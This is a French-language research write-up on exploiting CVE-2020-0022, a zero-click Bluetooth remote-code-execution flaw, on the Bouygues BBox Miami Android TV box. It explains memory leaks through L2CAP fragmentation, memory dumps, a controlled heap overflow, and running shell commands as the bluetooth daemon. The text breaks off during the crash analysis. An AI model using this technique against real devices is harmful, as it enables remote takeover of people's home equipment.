
Exploitation de la vulnérabilité CVE-2020-0022 sur Bouygues BBox Miami (Android TV 8.0 - ARM32 Cortex A9)
########################################################################################
Exploitation de la vulnérabilité CVE-2020-0022 sur Bouygues BBox Miami Android TV 8.0 - ARM32 Cortex A9 Par Polo35 - 2020/08/24
########################################################################################
"Usage: python polo_exploit.py target_bt_mac [target_adb_ip, shell_command, disable_reboot, verbose]"
########################################################################################
Basé sur les scripts de Jan Ruge CVE-2020-0022 un RCE Bluetooth Zero-Click pour Android 8.0-9.0 – BlueFrag https://insinuator.net/2020/04/cve-2020-0022-an-android-8-0-9-0-bluetooth-zero-click-rce-bluefrag/
########################################################################################
INTRODUCTION & CONSEILS
########################################################################################
Le script utilise le module bluetooth python pour obtenir le handle de connexion ACL Vous devez donc installer les bibliothèques bluetooth et pybluez (version 0.22 pour python2 et dernière version pour python3)
sudo apt-get update sudo apt-get install bluetooth bluez libbluetooth-dev sudo pip install pybluez
Vous pouvez passer une commande shell au script en paramètre, qui sera exécutée avec la fonction system par le démon bluetooth Seuls 104 caractères sont disponibles pour la commande shell car la chaîne ROP occupe les 20 premiers octets de la deuxième payload
Exemple : shell_command = "cat /dev/zero | echo 'Target Exploited' > /sdcard/Download/cve-2020-0022-poc"
Le script peut utiliser adb pour vérifier la connexion, inspecter le logcat et redémarrer la cible si nécessaire Pour cela, vous devez passer l'ip cible en paramètre Assurez-vous de connecter la cible avec adb connect et d'ouvrir un shell pour vérifier la connexion avant d'utiliser le script
Les meilleurs résultats sont obtenus en connectant la cible via bluetooth avec un smartphone lorsque le script le dit ;) Cela peut prendre plus de 30 tentatives pour déclencher l'exploit mais il fonctionne parfois du premier coup
########################################################################################
FUITE MÉMOIRE AVEC ARM32
########################################################################################
Le Bouygues BBox Miami est basé sur un processeur ARM 32 bits Cortex A9 La différence avec ARM64 est que la fonction memcpy de libc ne génère pas de underflow, il est donc impossible d'obtenir les mêmes fuites que Jan Ruge Mais la vulnérabilité est présente et exploitable d'une manière différente
En envoyant un paquet l2cap avec une fragmentation de 4 octets, nous pouvons déclencher un memcpy de longueur 0 dans reassemble_and_dispatch Cela permet d'obtenir 4 octets de données non initialisées à la fin de l'echo
En augmentant la longueur du premier paquet (nommé mem_offset par la suite), on peut "parcourir" la mémoire non initialisée Obtenir 32 echoes avec le même mem_offset donne 2 à 8 echoes exploitables Les echoes sont répétés, il n'est donc pas nécessaire d'obtenir plus de 32 echoes pour le même mem_offset Cette méthode remplit également la mémoire avec les paquets, ce qui facilite la reconnaissance des motifs et la recherche des décalages dans les fuites
Le mem_offset est la longueur du paquet l2cap en caractères Ex : mem_offset 184 = paquet l2cap de 184 caractères = paquet l2cap de 368 octets
Exemple de "parcours" de mémoire et de données non initialisées avec répétitions :
176: 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 ................................................................ 177: 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 ...........$...............................$.................... 178: 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 ..........$...............................$..................... 179: 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 .........$...............................$...................... 180: 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 ........$...............................$....................... 181: 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 ................................................................ 182: 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 ................................................................ 183: 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 ................................................................ 184: 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 ................................................................ 185: 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 ................................................................ 186: 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 ................................................................ 187: 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 ................................................................ 188: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 ................................................................
On peut voir aux mem_offset 180 et 184 quelques adresses mémoire en little endian
a4ce80a3 donne l'adresse 0xa380cea4 24d280a3 donne l'adresse 0xa380d224 a4d580a3 donne l'adresse 0xa380d5a4 9cce80a3 donne l'adresse 0xa380ce9c 1cd280a3 donne l'adresse 0xa380d21c 9cd580a3 donne l'adresse 0xa380d59c
Il y a au moins 4 ou 5 mem_offset où il est possible de trouver une adresse mémoire réelle après presque chaque redémarrage Nous verrons plus tard comment les utiliser
########################################################################################
ANALYSE DU PREMIER CRASH
########################################################################################
En envoyant un paquet l2cap avec une fragmentation de 2 octets, nous pouvons déclencher un memcpy de longueur -2 dans reassemble_and_dispatch Cela permet de déborder en dehors du paquet partiel avec 30 octets de données contrôlées provenant du second paquet En raison des 30 octets copiés, il n'est pas nécessaire d'envoyer des paquets plus grands que 32 octets avec les 4 derniers octets nuls
Cette méthode de débordement fait parfois planter le démon bluetooth avec le registre R0 contrôlé dans _Z11list_appendP6list_tPv+65 :